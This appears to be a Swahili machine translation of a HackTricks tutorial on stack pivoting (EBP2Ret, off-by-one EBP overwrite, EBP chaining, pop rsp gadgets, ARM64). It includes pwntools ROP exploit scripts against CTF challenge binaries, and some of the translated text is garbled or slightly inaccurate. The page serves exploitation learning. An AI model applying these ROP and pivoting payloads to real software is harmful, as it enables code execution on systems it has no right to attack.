12 KiB
Stack Pivoting - EBP2Ret - EBP chaining
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
Teknolojia hii inatumia uwezo wa kudhibiti Base Pointer (EBP) ili kuunganisha utekelezaji wa kazi nyingi kupitia matumizi makini ya register ya EBP na mfuatano wa amri leave; ret
.
Kumbuka, leave
kwa msingi inamaanisha:
mov ebp, esp
pop ebp
ret
And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.
EBP2Ret
Hii mbinu ni muhimu hasa unapoweza kubadilisha register ya EBP lakini huna njia ya moja kwa moja kubadilisha register ya EIP. Inatumia tabia ya kazi wakati zinamaliza kutekeleza.
Ikiwa, wakati wa utekelezaji wa fvuln
, unafanikiwa kuingiza EBP bandia kwenye stack inayotaja eneo katika kumbukumbu ambapo anwani ya shellcode yako inapatikana (plus 4 bytes ili kuzingatia operesheni ya pop
), unaweza kudhibiti kwa njia isiyo ya moja kwa moja EIP. Wakati fvuln
inarudi, ESP inawekwa kwenye eneo hili lililotengenezwa, na operesheni inayofuata ya pop
inapunguza ESP kwa 4, kimsingi inafanya iwe pointing kwa anwani iliyohifadhiwa na mshambuliaji humo.
Kumbuka jinsi unavyohitaji kujua anwani 2: Ile ambayo ESP itakwenda, ambapo utahitaji kuandika anwani ambayo inatolewa na ESP.
Exploit Construction
Kwanza unahitaji kujua anwani ambapo unaweza kuandika data / anwani zisizo na mipaka. ESP itakuwa in pointing hapa na kufanya ret
ya kwanza.
Kisha, unahitaji kujua anwani inayotumiwa na ret
ambayo itafanya kodi zisizo na mipaka. Unaweza kutumia:
- Anwani halali ya ONE_GADGET.
- Anwani ya
system()
ikifuatiwa na bytes 4 za takataka na anwani ya"/bin/sh"
(x86 bits). - Anwani ya gadget ya
jump esp;
(ret2esp) ikifuatiwa na shellcode ya kutekeleza. - Mnyororo fulani wa ROP
Kumbuka kwamba kabla ya mojawapo ya hizi anwani katika sehemu iliyo na udhibiti wa kumbukumbu, lazima kuwe na 4
bytes kwa sababu ya sehemu ya pop
ya amri ya leave
. Itakuwa inawezekana kutumia hizi 4B kuweka EBP bandia ya pili na kuendelea kudhibiti utekelezaji.
Off-By-One Exploit
Kuna toleo maalum la mbinu hii linalojulikana kama "Off-By-One Exploit". Inatumika unapoweza kubadilisha tu byte ya chini kabisa ya EBP. Katika hali kama hiyo, eneo la kumbukumbu linalohifadhi anwani ya kuruka kwa ret
lazima liwe na bytes tatu za kwanza zinazoshiriki na EBP, kuruhusu manipulasi kama hiyo kwa masharti yaliyopangwa zaidi.
Kawaida inabadilishwa byte 0x00 ili kuruka mbali iwezekanavyo.
Pia, ni kawaida kutumia RET sled kwenye stack na kuweka mnyororo halisi wa ROP mwishoni ili kuongeza uwezekano kwamba ESP mpya in pointing ndani ya RET SLED na mnyororo wa mwisho wa ROP unatekelezwa.
EBP Chaining
Kwa hivyo, kuweka anwani iliyo na udhibiti katika kiingilio cha EBP
cha stack na anwani ya leave; ret
katika EIP
, inawezekana kuhamasisha ESP
kwa anwani ya EBP
iliyo na udhibiti kutoka kwenye stack.
Sasa, ESP
inadhibitiwa ikielekeza kwenye anwani inayotakiwa na amri inayofuata ya kutekeleza ni RET
. Ili kutumia hii, inawezekana kuweka katika sehemu iliyo na udhibiti ya ESP hii:
&(next fake EBP)
-> Pakia EBP mpya kwa sababu yapop ebp
kutoka kwa amri yaleave
system()
-> Inaitwa naret
&(leave;ret)
-> Inaitwa baada ya mfumo kumaliza, itahamisha ESP kwa EBP bandia na kuanza tena&("/bin/sh")
-> Param frosystem
Kimsingi kwa njia hii inawezekana kuunganisha EBPs bandia kadhaa ili kudhibiti mtiririko wa programu.
Hii ni kama ret2lib, lakini ngumu zaidi bila faida dhahiri lakini inaweza kuwa ya kuvutia katika baadhi ya hali za ukingo.
Zaidi ya hayo, hapa una mfano wa changamoto inayotumia mbinu hii na stack leak ili kuita kazi ya kushinda. Hii ndiyo payload ya mwisho kutoka kwenye ukurasa:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP huenda isiwe inatumika
Kama ilivyoelezwa katika chapisho hili, ikiwa binary imeandikwa kwa baadhi ya uboreshaji, EBP haitawahi kudhibiti ESP, kwa hivyo, exploit yoyote inayofanya kazi kwa kudhibiti EBP itashindwa kimsingi kwa sababu haina athari halisi.
Hii ni kwa sababu prologue na epilogue hubadilika ikiwa binary imeboreshwa.
- Haitaboreshwa:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Imara:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
Njia nyingine za kudhibiti RSP
pop rsp
gadget
Katika ukurasa huu unaweza kupata mfano wa kutumia mbinu hii. Kwa changamoto hii ilihitajika kuita kazi yenye hoja 2 maalum, na kulikuwa na pop rsp
gadget na kuna leak kutoka kwenye stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Angalia mbinu ya ret2esp hapa:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}
Marejeleo na Mifano Mingine
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, exploitation ya off by one na mchain ya rop ikianza na ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, hakuna relro, canary, nx na pie. Programu inatoa leak kwa stack au pie na WWW ya qword. Kwanza pata leak ya stack na tumia WWW kurudi na kupata leak ya pie. Kisha tumia WWW kuunda loop ya milele ikitumia entries za
.fini_array
+ kuita__libc_csu_fini
(maelezo zaidi hapa). Kwa kutumia "kuandika" hii "ya milele", imeandikwa mchain ya ROP katika .bss na kumaliza kwa kuitwa ikipivot na RBP.
ARM64
Katika ARM64, prologue na epilogues za kazi hazihifadhi na kurejesha usajili wa SP katika stack. Zaidi ya hayo, amri ya RET
hairejeshi kwenye anwani inayotolewa na SP, bali kwenye anwani ndani ya x30
.
Hivyo, kwa kawaida, kwa kutumia epilogue huwezi kudhibiti usajili wa SP kwa kuandika data fulani ndani ya stack. Na hata kama unafanikiwa kudhibiti SP bado unahitaji njia ya kudhibiti usajili wa x30
.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP inashikilia rekodi ya frame
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
{% hint style="danger" %}
Njia ya kufanya kitu kinachofanana na stack pivoting katika ARM64 itakuwa kuwa na uwezo wa kudhibiti SP
(kwa kudhibiti usajili fulani ambao thamani yake inapitishwa kwa SP
au kwa sababu fulani SP
inachukua anwani yake kutoka stack na tuna overflow) na kisha kuandika epilogu ili kupakia usajili wa x30
kutoka SP
iliyo kudhibitiwa na RET
kwake.
{% endhint %}
Pia katika ukurasa ufuatao unaweza kuona sawa na Ret2esp katika ARM64:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au fuata sisi kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.